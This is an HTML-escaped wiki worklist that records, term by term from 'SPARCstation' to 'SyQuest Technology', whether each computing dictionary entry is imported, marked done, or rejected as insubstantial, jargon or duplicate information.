SPARCStation&lt;br&gt;
SPARCstation 10&lt;br&gt;
SPARCstation 20&lt;br&gt;
SPARCsystem 4&lt;br&gt;
SPARC Xterminal 1&lt;br&gt;
SPARK '''NO IMPORT''' - insubstantial&lt;br&gt;
SPARKS '''NO IMPORT''' - insubstantial&lt;br&gt;
sparse '''NO IMPORT''' - insubstantial&lt;br&gt;
Spatial Technologies '''NO IMPORT''' - insubstantial&lt;br&gt;
spawn '''NO IMPORT''' - insubstantial&lt;br&gt;
SPC '''NO IMPORT''' - insubstantial&lt;br&gt;
SPD '''NO IMPORT''' - insubstantial&lt;br&gt;
SPDL '''NO IMPORT''' - insubstantial&lt;br&gt;
SPE '''NO IMPORT''' - insubstantial&lt;br&gt;
Speakeasy '''NO IMPORT''' - insubstantial&lt;br&gt;
speaker '''NO IMPORT''' - insubstantial&lt;br&gt;
SPEC&lt;br&gt;
Spec&lt;br&gt;
spec&lt;br&gt;
SPECbase_fp92&lt;br&gt;
SPECbase_int92&lt;br&gt;
SPECbaserate&lt;br&gt;
SPEC CFP92&lt;br&gt;
SPEC CINT92&lt;br&gt;
SPECfp92&lt;br&gt;
SPECIAL '''NO IMPORT''' - insubstantial&lt;br&gt;
special-case '''NO IMPORT''' - jargon&lt;br&gt;
Special Interest Group '''NO IMPORT''' - insubstantial&lt;br&gt;
specialisation '''NO IMPORT''' - insubstantial&lt;br&gt;
specification '''NO IMPORT''' - insubstantial&lt;br&gt;
specific markup '''NO IMPORT''' - insubstantial&lt;br&gt;
SPECint92&lt;br&gt;
SPECmark&lt;br&gt;
SPECmark89&lt;br&gt;
SPECOL '''NO IMPORT''' - insubstantial&lt;br&gt;
SPEC rate&lt;br&gt;
SPECrate_base_fp92&lt;br&gt;
SPECrate_fp92&lt;br&gt;
SPECrate_int92&lt;br&gt;
SPEC ratio&lt;br&gt;
Spectrum '''NO IMPORT''' - duplicate info&lt;br&gt;
speculative evaluation '''NO IMPORT''' - insubstantial&lt;br&gt;
speculative execution '''NO IMPORT''' - insubstantial&lt;br&gt;
Speech Application Programming Interface '''NO IMPORT''' - insubstantial&lt;br&gt;
speech recognition '''NO IMPORT''' - duplicate info&lt;br&gt;
Speech Recognition Application Program Interface '''NO IMPORT''' - insubstantial&lt;br&gt;
speech synthesis '''NO IMPORT''' - insubstantial&lt;br&gt;
SPEED '''NO IMPORT''' - insubstantial&lt;br&gt;
Speedcoding '''NO IMPORT''' - insubstantial&lt;br&gt;
Speedcoding 3 '''NO IMPORT''' - insubstantial&lt;br&gt;
SPEEDEX '''NO IMPORT''' - insubstantial&lt;br&gt;
speedometer '''NO IMPORT''' - insubstantial&lt;br&gt;
spell '''NO IMPORT''' - jargon&lt;br&gt;
spelling flame '''NO IMPORT''' - jargon&lt;br&gt;
Sperry Corporation '''NO IMPORT''' - duplicate info&lt;br&gt;
Sperry Univac '''NO IMPORT'''&lt;br&gt;
SPG '''NO IMPORT''' - insubstantial&lt;br&gt;
SPGA '''NO IMPORT''' - insubstantial&lt;br&gt;
Spice Lisp '''NO IMPORT''' - insubstantial&lt;br&gt;
SPID '''NO IMPORT''' - insubstantial&lt;br&gt;
spider '''NO IMPORT''' - duplicate info&lt;br&gt;
Spiderweb '''NO IMPORT''' - insubstantial&lt;br&gt;
spiffy '''NO IMPORT''' - jargon&lt;br&gt;
spike '''NO IMPORT''' - jargon&lt;br&gt;
spill '''NO IMPORT''' - jargon&lt;br&gt;
spin '''NO IMPORT''' - insubstantial&lt;br&gt;
spiral model '''NO IMPORT''' - insubstantial&lt;br&gt;
SPIT '''NO IMPORT''' - insubstantial&lt;br&gt;
SPITBOL '''NO IMPORT''' - insubstantial&lt;br&gt;
SP/k '''NO IMPORT''' - insubstantial&lt;br&gt;
SPL '''NO IMPORT''' - insubstantial&lt;br&gt;
SPL/1 '''NO IMPORT''' - insubstantial&lt;br&gt;
SPLash! '''NO IMPORT''' - insubstantial&lt;br&gt;
splash screen '''NO IMPORT''' - jargon&lt;br&gt;
splat '''NO IMPORT''' - jargon&lt;br&gt;
SPL/I '''NO IMPORT''' - insubstantial&lt;br&gt;
SPLINTER '''NO IMPORT''' - insubstantial&lt;br&gt;
split '''NO IMPORT''' - insubstantial&lt;br&gt;
Split-C '''NO IMPORT''' - insubstantial&lt;br&gt;
splot '''NO IMPORT''' - insubstantial&lt;br&gt;
SPLX '''NO IMPORT''' - insubstantial&lt;br&gt;
SPM '''NO IMPORT''' - insubstantial&lt;br&gt;
SPMD '''NO IMPORT''' - insubstantial&lt;br&gt;
SPML&lt;br&gt;
spod '''NO IMPORT''' - jargon&lt;br&gt;
spoiler '''NO IMPORT''' - jargon&lt;br&gt;
sponge '''NO IMPORT''' - jargon&lt;br&gt;
spoo '''NO IMPORT''' - jargon&lt;br&gt;
spoof '''NO IMPORT''' - duplicate info&lt;br&gt;
spoofing '''NO IMPORT''' - duplicate info&lt;br&gt;
spooge '''NO IMPORT''' - jargon&lt;br&gt;
SPOOL '''NO IMPORT''' - jargon&lt;br&gt;
Spool '''NO IMPORT''' - insubstantial&lt;br&gt;
spool '''NO IMPORT''' - insubstantial&lt;br&gt;
spooler '''NO IMPORT''' - jargon&lt;br&gt;
spool file '''NO IMPORT''' - jargon&lt;br&gt;
SpoolView '''NO IMPORT''' - insubstantial&lt;br&gt;
spreadsheet '''NO IMPORT''' - duplicate info&lt;br&gt;
spread spectrum communications '''NO IMPORT''' - duplicate info (spread-spectrum)&lt;br&gt;
SPRING '''NO IMPORT''' - insubstantial&lt;br&gt;
SPRINT '''NO IMPORT''' - insubstantial&lt;br&gt;
Sprintnet '''NO IMPORT''' - insubstantial&lt;br&gt;
Sprite '''NO IMPORT''' - insubstantial&lt;br&gt;
sprite '''NO IMPORT''' - insubstantial&lt;br&gt;
sprocket feed '''NO IMPORT''' - insubstantial&lt;br&gt;
SPS '''NO IMPORT''' - insubstantial&lt;br&gt;
SPSS '''NO IMPORT''' - duplicate info&lt;br&gt;
SPSS, Inc. '''NO IMPORT''' - duplicate info&lt;br&gt;
SPUR '''NO IMPORT''' - insubstantial&lt;br&gt;
SPX '''NO IMPORT''' - insubstantial&lt;br&gt;
spx '''NO IMPORT''' - jargon&lt;br&gt;
sqcap '''NO IMPORT''' - jargon&lt;br&gt;
sqcup '''NO IMPORT''' - jargon&lt;br&gt;
SQE '''NO IMPORT''' - insubstantial&lt;br&gt;
SQL '''NO IMPORT''' - duplicate info&lt;br&gt;
SQL2 '''NO IMPORT''' - duplicate info&lt;br&gt;
SQL3 '''NO IMPORT''' - duplicate info&lt;br&gt;
SQL Access Group '''NO IMPORT''' - insubstantial&lt;br&gt;
SQL/DS '''NO IMPORT''' - insubstantial&lt;br&gt;
SQL Module Language '''NO IMPORT''' - insubstantial&lt;br&gt;
SQL Server '''NO IMPORT''' - insubstantial&lt;br&gt;
SQL server '''NO IMPORT''' - insubstantial&lt;br&gt;
SQLWindows '''NO IMPORT''' - insubstantial&lt;br&gt;
SQR '''NO IMPORT''' - insubstantial&lt;br&gt;
SQRIBE '''NO IMPORT''' - insubstantial&lt;br&gt;
sqsubseteq '''NO IMPORT''' - jargon&lt;br&gt;
Square '''NO IMPORT''' - insubstantial&lt;br&gt;
square-headed boyfriend '''NO IMPORT''' - jargon&lt;br&gt;
square-headed girlfriend '''NO IMPORT''' - jargon&lt;br&gt;
square tape '''NO IMPORT''' - jargon&lt;br&gt;
Squeak&lt;br&gt;
Squiggol&lt;br&gt;
squirt the bird '''NO IMPORT''' - jargon&lt;br&gt;
SR - '''DONE'''&lt;br&gt;
sr '''NO IMPORT''' - insubstantial&lt;br&gt;
SRAM '''NO IMPORT''' - duplicate info&lt;br&gt;
SRAPI '''NO IMPORT''' - insubstantial&lt;br&gt;
SRC Modula-3 '''DONE'''&lt;br&gt;
SRDL '''NO IMPORT''' - insubstantial&lt;br&gt;
SR flip-flop '''DONE''' - merged with flip-flop&lt;br&gt;
SRI '''DONE'''&lt;br&gt;
SRI International '''DONE'''&lt;br&gt;
SRL '''NO IMPORT''' - insubstantial&lt;br&gt;
SRP '''NO IMPORT''' - insubstantial&lt;br&gt;
SS7 '''NO IMPORT''' - insubstantial&lt;br&gt;
SSA '''NO IMPORT''' - insubstantial&lt;br&gt;
SSADM '''NO IMPORT''' - insubstantial&lt;br&gt;
SSBA '''NO IMPORT''' - insubstantial&lt;br&gt;
ssh '''NO IMPORT''' - insubstantial&lt;br&gt;
SSI '''NO IMPORT''' - insubstantial&lt;br&gt;
SSII '''NO IMPORT''' - insubstantial&lt;br&gt;
SSL '''NO IMPORT''' - duplicate info&lt;br&gt;
S/SL '''DONE'''&lt;br&gt;
SSLeay '''NO IMPORT''' - insubstantial&lt;br&gt;
SSMA '''NO IMPORT''' - insubstantial&lt;br&gt;
st '''NO IMPORT''' - insubstantial&lt;br&gt;
STAB '''NO IMPORT''' - insubstantial&lt;br&gt;
STAB-11 '''NO IMPORT''' - insubstantial&lt;br&gt;
STAC '''NO IMPORT''' - insubstantial&lt;br&gt;
stac compression '''NO IMPORT''' - insubstantial&lt;br&gt;
stack '''NO IMPORT''' - duplicate info&lt;br&gt;
Stack Environment Control Dump machine '''NO IMPORT''' - duplicate info (SECD machine)&lt;br&gt;
stack frame&lt;br&gt;
stacking order '''NO IMPORT''' - insubstantial&lt;br&gt;
stack loader '''NO IMPORT''' - insubstantial&lt;br&gt;
stack overflow '''NO IMPORT''' - insubstantial&lt;br&gt;
stack pointer '''NO IMPORT''' - insubstantial&lt;br&gt;
stack puke '''NO IMPORT''' - insubstantial&lt;br&gt;
stack traceback '''NO IMPORT''' - insubstantial&lt;br&gt;
STAGE2 '''NO IMPORT''' - insubstantial&lt;br&gt;
Staggered Pin Grid Array '''NO IMPORT''' - insubstantial&lt;br&gt;
staircase '''NO IMPORT''' - jargon&lt;br&gt;
staircasing '''NO IMPORT''' - jargon&lt;br&gt;
stale pointer bug '''DONE'''&lt;br&gt;
Stallman, Richard M. '''NO IMPORT''' - duplicate info&lt;br&gt;
stand-alone '''NO IMPORT''' - jargon&lt;br&gt;
standard '''NO IMPORT''' - insubstantial&lt;br&gt;
Standard Commands for Programmable Instruments '''NO IMPORT''' - insubstantial&lt;br&gt;
Standard d'Echange et de Transfert '''NO IMPORT''' - insubstantial&lt;br&gt;
standard for robot exclusion '''NO IMPORT''' - insubstantial&lt;br&gt;
Standard for the exchange of product model data '''NO IMPORT''' - insubstantial&lt;br&gt;
Standard Generalised Markup Language '''NO IMPORT''' - duplicate info&lt;br&gt;
Standard Generalized Markup Language '''NO IMPORT''' - duplicate info&lt;br&gt;
standard input/output&lt;br&gt;
Standard Instrument Control Library '''NO IMPORT''' - insubstantial&lt;br&gt;
standard interpretation '''NO IMPORT''' - jargon&lt;br&gt;
standard I/O&lt;br&gt;
Standard Lisp '''NO IMPORT''' - duplicate info&lt;br&gt;
Standard ML&lt;br&gt;
Standard ML of New Jersey&lt;br&gt;
standard semantics '''NO IMPORT''' - jargon&lt;br&gt;
Stanford Artificial Intelligence Laboratory '''DONE''' - duplicate info&lt;br&gt;
Stanford Artificial Intelligence Language '''DONE'''&lt;br&gt;
Stanford Research Institute '''DONE''' - duplicate info&lt;br&gt;
Stanford University '''NO IMPORT''' - duplicate info&lt;br&gt;
Staple '''NO IMPORT''' - insubstantial&lt;br&gt;
STAR 0 '''NO IMPORT''' - insubstantial&lt;br&gt;
StarBurst '''NO IMPORT''' - insubstantial&lt;br&gt;
StarLISP '''DONE''' - Merged into Lisp programming language&lt;br&gt;
StarMOD '''NO IMPORT''' - insubstantial&lt;br&gt;
star network '''NO IMPORT''' - jargon&lt;br&gt;
Starset '''NO IMPORT''' - insubstantial&lt;br&gt;
STARSYS '''DONE''' (Convergent Technologies Operating System)&lt;br&gt;
start bit '''NO IMPORT''' - insubstantial&lt;br&gt;
Start Of Header '''NO IMPORT''' - insubstantial&lt;br&gt;
Start Of Text '''NO IMPORT''' - insubstantial&lt;br&gt;
start tag '''NO IMPORT''' - insubstantial&lt;br&gt;
state '''NO IMPORT''' - jargon&lt;br&gt;
state diagram '''NO IMPORT''' - duplicate info (finite state machine)&lt;br&gt;
stateless '''DONE'''&lt;br&gt;
state machine '''NO IMPORT''' - duplicate info (finite state machine)&lt;br&gt;
state transition diagram '''NO IMPORT''' - duplicate info (finite state machine)&lt;br&gt;
State University of New York '''NO IMPORT''' - insubstantial&lt;br&gt;
static database management system&lt;br&gt;
static DBMS&lt;br&gt;
static link '''NO IMPORT''' - insubstantial&lt;br&gt;
static RAM '''NO IMPORT''' - duplicate info&lt;br&gt;
static random access memory '''NO IMPORT''' - duplicate info&lt;br&gt;
static scope '''NO IMPORT''' - duplicate info (Static scoping)&lt;br&gt;
Station Management '''NO IMPORT''' - insubstantial&lt;br&gt;
Statistical Analysis System '''NO IMPORT''' - insubstantial&lt;br&gt;
Statistical Package for the Social Sciences '''NO IMPORT''' - insubstantial&lt;br&gt;
statistical time division multiplexing '''DONE''' (in my userspace, currently)&lt;br&gt;
statistics '''NO IMPORT''' - insubstantial&lt;br&gt;
StatMUX '''DONE''' (in my userspace, currently)&lt;br&gt;
STB '''NO IMPORT''' - insubstantial&lt;br&gt;
STD '''NO IMPORT''' - insubstantial&lt;br&gt;
STD 1 '''NO IMPORT''' - insubstantial&lt;br&gt;
STD 13 '''NO IMPORT''' - insubstantial&lt;br&gt;
STD 15 '''NO IMPORT''' - insubstantial&lt;br&gt;
STD 2 '''NO IMPORT''' - insubstantial&lt;br&gt;
STD 9 '''NO IMPORT''' - insubstantial&lt;br&gt;
stderr&lt;br&gt;
stdin&lt;br&gt;
stdio&lt;br&gt;
stdio.h&lt;br&gt;
STDM '''DONE''' (in my userspace, currently)&lt;br&gt;
stdout&lt;br&gt;
STDWIN '''NO IMPORT''' - insubstantial&lt;br&gt;
steam-powered '''NO IMPORT''' - jargon&lt;br&gt;
Steelman '''NO IMPORT''' - insubstantial&lt;br&gt;
steganography '''NO IMPORT''' - duplicate info&lt;br&gt;
stemmer '''DONE'''&lt;br&gt;
stemming '''DONE'''&lt;br&gt;
STENSOR '''NO IMPORT''' - insubstantial&lt;br&gt;
STEP '''NO IMPORT''' - insubstantial&lt;br&gt;
Stephen Cole Kleene '''DONE'''&lt;br&gt;
Stephen Jobs '''NO IMPORT''' - insubstantial&lt;br&gt;
Stephen Kleene '''DONE'''&lt;br&gt;
Stepstone Corp '''NO IMPORT''' - insubstantial&lt;br&gt;
stepwise refinement '''NO IMPORT''' - insubstantial&lt;br&gt;
[[Autostereogram|Stereogram]] '''DONE'''&lt;br&gt;
Steve Jobs '''NO IMPORT''' - duplicate info&lt;br&gt;
Steve's Shell '''NO IMPORT''' - insubstantial&lt;br&gt;
Steve Wozniak '''NO IMPORT''' - insubstantial&lt;br&gt;
Sticks&amp;amp;Stones '''NO IMPORT''' - insubstantial&lt;br&gt;
sticky analysis '''NO IMPORT''' - insubstantial&lt;br&gt;
sticky bit&lt;br&gt;
sticky content '''NO IMPORT''' - jargon&lt;br&gt;
stiffy '''NO IMPORT''' - jargon&lt;br&gt;
STIL '''NO IMPORT''' - insubstantial&lt;br&gt;
STING '''DONE''' - merged into Lisp programming language&lt;br&gt;
STk '''NO IMPORT''' - insubstantial&lt;br&gt;
STMP '''NO IMPORT''' - irrelevent&lt;br&gt;
stochastic '''NO IMPORT''' - duplicate info&lt;br&gt;
stock-keeping unit '''NO IMPORT''' - insubstantial&lt;br&gt;
STOIC '''NO IMPORT''' - insubstantial&lt;br&gt;
stomp on '''NO IMPORT''' - jargon&lt;br&gt;
STONE '''NO IMPORT''' - insubstantial&lt;br&gt;
Stone Age '''NO IMPORT''' - jargon&lt;br&gt;
stone knives and bearskins '''NO IMPORT''' - jargon&lt;br&gt;
Stoneman '''NO IMPORT''' - insubstantial&lt;br&gt;
stop bit '''DONE''' (in my userspace, currently)&lt;br&gt;
stoppage '''NO IMPORT''' - jargon&lt;br&gt;
storage '''NO IMPORT''' - jargon&lt;br&gt;
Storage Allocation and Coding Program '''NO IMPORT''' - insubstantial&lt;br&gt;
Storage Management Services '''NO IMPORT''' - insubstantial&lt;br&gt;
store '''NO IMPORT''' - jargon&lt;br&gt;
store and forward '''NO IMPORT''' - insubstantial&lt;br&gt;
Story of Mel '''NO IMPORT''' - irrelevent&lt;br&gt;
STP '''NO IMPORT''' - insubstantial&lt;br&gt;
StP '''NO IMPORT''' - insubstantial&lt;br&gt;
STP4 '''NO IMPORT''' - insubstantial&lt;br&gt;
Strachey, Christopher '''NO IMPORT''' - insubstantial&lt;br&gt;
Strand '''NO IMPORT''' - insubstantial&lt;br&gt;
Strand88 '''NO IMPORT''' - insubstantial&lt;br&gt;
Stratus '''NO IMPORT''' - irrelevent&lt;br&gt;
Strawman '''NO IMPORT''' - insubstantial&lt;br&gt;
STREAM '''NO IMPORT''' - insubstantial&lt;br&gt;
stream '''DONE''' (in my userspace, currently)&lt;br&gt;
streaming '''NO IMPORT''' - duplicate info (streaming media)&lt;br&gt;
stream-oriented '''NO IMPORT''' - insubstantial&lt;br&gt;
STREAMS '''NO IMPORT''' - insubstantial&lt;br&gt;
strength reduction '''DONE'''&lt;br&gt;
STRESS '''NO IMPORT''' - insubstantial&lt;br&gt;
stress testing '''NO IMPORT''' - insubstantial&lt;br&gt;
strict&lt;br&gt;
strict evaluation&lt;br&gt;
strided '''NO IMPORT''' - jargon&lt;br&gt;
string '''NO IMPORT''' - duplicate info (literal string)&lt;br&gt;
String EXpression Interpreter '''NO IMPORT''' - duplicate info&lt;br&gt;
STring Oriented Interactive Compiler '''NO IMPORT''' - insubstantial&lt;br&gt;
String Oriented Symbolic Language '''NO IMPORT''' - duplicate info&lt;br&gt;
String PRocessING language '''NO IMPORT''' - jargon&lt;br&gt;
string reduction '''NO IMPORT''' - insubstantial&lt;br&gt;
stripe '''DONE''' (Data striping)&lt;br&gt;
stripe set '''DONE''' (Data striping)&lt;br&gt;
striping '''DONE''' (Data striping)&lt;br&gt;
STROBES '''NO IMPORT''' - insubstantial&lt;br&gt;
stroke '''NO IMPORT''' - insubstantial&lt;br&gt;
StrongARM '''NO IMPORT''' - duplicate info&lt;br&gt;
strongly connected component&lt;br&gt;
strongly typed '''NO IMPORT''' - duplicate info (datatype)&lt;br&gt;
strong typing '''NO IMPORT''' - duplicate info (datatype)&lt;br&gt;
Stroustrup, Bjarne '''NO IMPORT''' - insubstantial&lt;br&gt;
struct '''NO IMPORT''' - insubstantial&lt;br&gt;
structural recursion '''NO IMPORT''' - duplicate info (Structural induction)&lt;br&gt;
structured analysis '''NO IMPORT''' - insubstantial&lt;br&gt;
structured design '''NO IMPORT''' - insubstantial&lt;br&gt;
structure diagram '''NO IMPORT''' - jargon&lt;br&gt;
structured language '''NO IMPORT''' - insubstantial&lt;br&gt;
structured programming '''NO IMPORT''' - insubstantial&lt;br&gt;
Structured Query Language '''NO IMPORT''' - duplicate info&lt;br&gt;
Structure of Management Information '''NO IMPORT''' - insubstantial&lt;br&gt;
strudel '''NO IMPORT''' - jargon&lt;br&gt;
STRUDL '''NO IMPORT''' - insubstantial&lt;br&gt;
STSC APL '''NO IMPORT''' - insubstantial&lt;br&gt;
stub '''NO IMPORT''' - insubstantial&lt;br&gt;
stub network '''NO IMPORT''' - insubstantial&lt;br&gt;
stubroutine '''NO IMPORT''' - jargon&lt;br&gt;
STUDENT '''NO IMPORT''' - irrelevent&lt;br&gt;
Student PL/I '''NO IMPORT''' - insubstantial&lt;br&gt;
studly '''NO IMPORT''' - jargon&lt;br&gt;
studlycaps '''NO IMPORT''' - jargon&lt;br&gt;
Stuffit '''NO IMPORT''' - duplicate info&lt;br&gt;
Stupids '''NO IMPORT''' - jargon&lt;br&gt;
stupid-sort '''NO IMPORT''' - duplicate info&lt;br&gt;
Sturgeon's Law '''NO IMPORT''' - duplicate info&lt;br&gt;
STX '''NO IMPORT''' - insubstantial&lt;br&gt;
su '''NO IMPORT''' - duplicate info&lt;br&gt;
SUB '''NO IMPORT''' - insubstantial&lt;br&gt;
subband encoding '''DONE'''&lt;br&gt;
subclass '''NO IMPORT''' - duplicate info&lt;br&gt;
subject '''DONE''' - merged into subject-oriented programming&lt;br&gt;
subject index '''NO IMPORT''' - insubstantial&lt;br&gt;
subject-oriented programming '''DONE'''&lt;br&gt;
sublanguage '''NO IMPORT''' - insubstantial&lt;br&gt;
subnet '''NO IMPORT''' - duplicate info (subnetwork)&lt;br&gt;
subnet address '''NO IMPORT''' - duplicate info&lt;br&gt;
subnet mask '''NO IMPORT''' - duplicate info&lt;br&gt;
subnet number '''NO IMPORT''' - duplicate info&lt;br&gt;
subroutine '''NO IMPORT''' - duplicate info&lt;br&gt;
subscribe '''NO IMPORT''' - jargon&lt;br&gt;
subscribing '''NO IMPORT''' - jargon&lt;br&gt;
subseteq '''NO IMPORT''' - insubstantial&lt;br&gt;
Subset-Equational Language '''DONE'''&lt;br&gt;
Substitute '''NO IMPORT''' - insubstantial&lt;br&gt;
substrate '''NO IMPORT''' - duplicate info (integrated circuit)&lt;br&gt;
subtype '''NO IMPORT''' - insubstantial&lt;br&gt;
subtyping '''NO IMPORT''' - insubstantial&lt;br&gt;
SuccessoR '''NO IMPORT''' - insubstantial&lt;br&gt;
successor '''NO IMPORT''' - insubstantial&lt;br&gt;
sucking mud '''NO IMPORT''' - jargon&lt;br&gt;
Sue '''NO IMPORT''' - insubstantial&lt;br&gt;
sufficiently small '''NO IMPORT''' - insubstantial&lt;br&gt;
SUGAR '''NO IMPORT''' - insubstantial&lt;br&gt;
suicideware '''NO IMPORT''' - jargon&lt;br&gt;
SUIF '''NO IMPORT''' - insubstantial&lt;br&gt;
suit '''NO IMPORT''' - jargon&lt;br&gt;
suitably small '''NO IMPORT''' - jargon&lt;br&gt;
Suite Synthetique des Benchmarks de l'AFUU '''NO IMPORT''' - insubstantial&lt;br&gt;
sum '''NO IMPORT''' - duplicate info&lt;br&gt;
Summary Object Interchange Format '''NO IMPORT''' - insubstantial&lt;br&gt;
SUMMER '''NO IMPORT''' - insubstantial&lt;br&gt;
SUMMER SESSION '''NO IMPORT''' - insubstantial&lt;br&gt;
sum of products type '''DONE'''&lt;br&gt;
Sun '''NO IMPORT''' - duplicate info&lt;br&gt;
Sun-2 Workstation '''NO IMPORT''' - insubstantial&lt;br&gt;
Sun-3 Workstation '''NO IMPORT''' - insubstantial&lt;br&gt;
Sun-4 Workstation '''NO IMPORT''' - insubstantial&lt;br&gt;
sun lounge '''NO IMPORT''' - jargon&lt;br&gt;
Sun Microsystems, Inc. '''NO IMPORT''' - duplicate info&lt;br&gt;
SunOS '''NO IMPORT''' - duplicate info&lt;br&gt;
sunspots '''NO IMPORT''' - jargon&lt;br&gt;
sun-stools '''NO IMPORT''' - insubstantial&lt;br&gt;
SunView '''DONE'''&lt;br&gt;
SUNY '''NO IMPORT''' - insubstantial&lt;br&gt;
SUPER '''NO IMPORT''' - jargon&lt;br&gt;
Super 7 '''NO IMPORT''' - out of date&lt;br&gt;
superclass '''NO IMPORT''' - duplicate info&lt;br&gt;
supercombinators '''NO IMPORT''' - insubstantial&lt;br&gt;
supercompilation '''NO IMPORT''' - jargon&lt;br&gt;
supercomputer '''NO IMPORT''' - duplicate info&lt;br&gt;
superhighway '''NO IMPORT''' - jargon&lt;br&gt;
SuperJanet '''NO IMPORT''' - out of date&lt;br&gt;
SUPERMAC '''NO IMPORT''' - insubstantial&lt;br&gt;
Super Pascal '''DONE''' - merged into Pascal&lt;br&gt;
superpipelined '''NO IMPORT''' - insubstantial&lt;br&gt;
superprogrammer '''NO IMPORT''' - jargon&lt;br&gt;
superscalar '''NO IMPORT''' - insubstantial&lt;br&gt;
super source quench '''NO IMPORT''' - jargon&lt;br&gt;
SuperTalk '''NO IMPORT''' - irrelevent&lt;br&gt;
superuser '''NO IMPORT''' - jargon&lt;br&gt;
Super VGA '''NO IMPORT''' - duplicate info&lt;br&gt;
Super Video Graphics Adapter '''NO IMPORT''' - duplicate info&lt;br&gt;
Super Video Graphics Adaptor '''NO IMPORT''' - duplicate info&lt;br&gt;
Super Video Graphics Array '''NO IMPORT''' - duplicate info&lt;br&gt;
supervisor mode&lt;br&gt;
Supervisory Control and Data Acquisition '''NO IMPORT''' - jargon&lt;br&gt;
support '''NO IMPORT''' - jargon&lt;br&gt;
supremum '''NO IMPORT''' - insubstantial&lt;br&gt;
Sure '''NO IMPORT''' - irrelevent&lt;br&gt;
surfing&lt;br&gt;
SURGE '''NO IMPORT''' - irrelevent&lt;br&gt;
surjection '''NO IMPORT''' - insubstantial&lt;br&gt;
surjective '''NO IMPORT''' - insubstantial&lt;br&gt;
surrogate key '''DONE'''&lt;br&gt;
suspension '''NO IMPORT''' - insubstantial&lt;br&gt;
Suzie COBOL '''NO IMPORT''' - jargon&lt;br&gt;
sv '''NO IMPORT''' - insubstantial&lt;br&gt;
SVC '''NO IMPORT''' - jargon&lt;br&gt;
SVG '''NO IMPORT''' - duplicate info&lt;br&gt;
SVGA '''NO IMPORT''' - duplicate info&lt;br&gt;
SVGA monitor '''NO IMPORT''' - duplicate info&lt;br&gt;
SVID '''NO IMPORT''' - insubstantial&lt;br&gt;
S-Video '''NO IMPORT''' - duplicate info&lt;br&gt;
SVR4 '''NO IMPORT''' - insubstantial&lt;br&gt;
SVRC '''NO IMPORT''' - insubstantial&lt;br&gt;
SVS '''NO IMPORT''' - insubstantial&lt;br&gt;
swab '''NO IMPORT''' - insubstantial&lt;br&gt;
SWAG '''NO IMPORT''' - jargon&lt;br&gt;
swap&lt;br&gt;
swap file&lt;br&gt;
swapped in&lt;br&gt;
swapped out&lt;br&gt;
swapping &lt;br&gt;
swap space '''DONE'''&lt;br&gt;
SweetLambda '''NO IMPORT''' - jargon&lt;br&gt;
SWI-Prolog '''NO IMPORT''' - irrelevent&lt;br&gt;
switch '''NO IMPORT''' - jargon&lt;br&gt;
Switched Multimegabit Data Service '''NO IMPORT''' - insubstantial&lt;br&gt;
switching hub '''NO IMPORT''' - insubstantial&lt;br&gt;
switch statement '''NO IMPORT''' - duplicate info&lt;br&gt;
swizzle '''NO IMPORT''' - jargon&lt;br&gt;
swung dash '''NO IMPORT''' - insubstantial&lt;br&gt;
sy '''NO IMPORT''' - insubstantial&lt;br&gt;
Sybase, Inc. '''NO IMPORT''' - duplicate info&lt;br&gt;
SYDEL '''NO IMPORT''' - insubstantial&lt;br&gt;
SYGMA '''NO IMPORT''' - insubstantial&lt;br&gt;
SYLK '''NO IMPORT''' - insubstantial&lt;br&gt;
Sylvan '''NO IMPORT''' - insubstantial&lt;br&gt;
Symantec '''NO IMPORT''' - duplicate info&lt;br&gt;
SYMBAL '''NO IMPORT''' - insubstantial&lt;br&gt;
SymbMath '''NO IMPORT''' - insubstantial&lt;br&gt;
SYMBOLANG '''NO IMPORT''' - insubstantial&lt;br&gt;
Symbolic Assembler Program '''NO IMPORT''' - insubstantial&lt;br&gt;
SYMBOLIC ASSEMBLY '''NO IMPORT''' - insubstantial&lt;br&gt;
Symbolic Automatic INTegrator '''NO IMPORT''' - insubstantial&lt;br&gt;
symbolic inference&lt;br&gt;
Symbolic Link '''DONE''' merged into existing article&lt;br&gt;
symbolic link '''DONE''' merged into existing article&lt;br&gt;
symbolic logic '''NO IMPORT''' - jargon&lt;br&gt;
Symbolic Mathematical Laboratory '''NO IMPORT''' - insubstantial&lt;br&gt;
symbolic mathematics - '''DONE'''&lt;br&gt;
Symbolic Optimal Assembly Program '''NO IMPORT''' - insubstantial&lt;br&gt;
Symbolics, Inc. '''NO IMPORT''' - insubstantial&lt;br&gt;
Symbol Manipulation Program '''NO IMPORT''' - insubstantial&lt;br&gt;
symlink '''DONE''' - merged with symbolic link&lt;br&gt;
symmetric '''NO IMPORT''' - duplicate info (Symmetry)&lt;br&gt;
symmetric key cryptography '''NO IMPORT''' - duplicate info&lt;br&gt;
Symmetric LISP '''DONE''' - Merged into LISP&lt;br&gt;
symmetric multiprocessing '''NO IMPORT''' - duplicate info&lt;br&gt;
symmetric multiprocessor '''NO IMPORT''' - duplicate info&lt;br&gt;
Symphony '''NO IMPORT''' - out of date&lt;br&gt;
SYMPL '''NO IMPORT''' - insubstantial&lt;br&gt;
SYN '''NO IMPORT''' - jargon&lt;br&gt;
sync '''NO IMPORT''' - jargon&lt;br&gt;
Synchronized Multimedia Integration Language '''DONE''' - merged into SMIL&lt;br&gt;
synchronous '''NO IMPORT''' - jargon&lt;br&gt;
Synchronous Data Link Control '''NO IMPORT''' - irrelevent&lt;br&gt;
Synchronous Digital Hierarchy '''NO IMPORT''' - duplicate info (Synchronous optical networking)&lt;br&gt;
Synchronous DRAM&lt;br&gt;
Synchronous Dynamic Random Access Memory&lt;br&gt;
Synchronous Graphics RAM&lt;br&gt;
Synchronous Graphics Random Access Memory&lt;br&gt;
Synchronous idle '''NO IMPORT''' - insubstantial&lt;br&gt;
synchronous key encryption '''NO IMPORT''' - duplicate info (PGP)&lt;br&gt;
Synchronous Optical NETwork '''NO IMPORT''' - duplicate info&lt;br&gt;
syncronous '''NO IMPORT''' - jargon&lt;br&gt;
synflood '''NO IMPORT''' - jargon&lt;br&gt;
synonym ring '''NO IMPORT''' - jargon&lt;br&gt;
syntactic salt '''DONE''' - (syntactic sugar)&lt;br&gt;
syntactic sugar '''DONE'''&lt;br&gt;
syntax '''NO IMPORT''' - duplicate info&lt;br&gt;
Syntax-Case&lt;br&gt;
syntax directed translation&lt;br&gt;
Syntax/Semantic Language&lt;br&gt;
syntax tree '''NO IMPORT''' - insubstantial&lt;br&gt;
synthesis '''NO IMPORT''' - jargon&lt;br&gt;
Synthesizer Specification Language '''NO IMPORT''' - insubstantial&lt;br&gt;
SyQuest Technology, Inc. '''DONE'''&lt;br&gt;
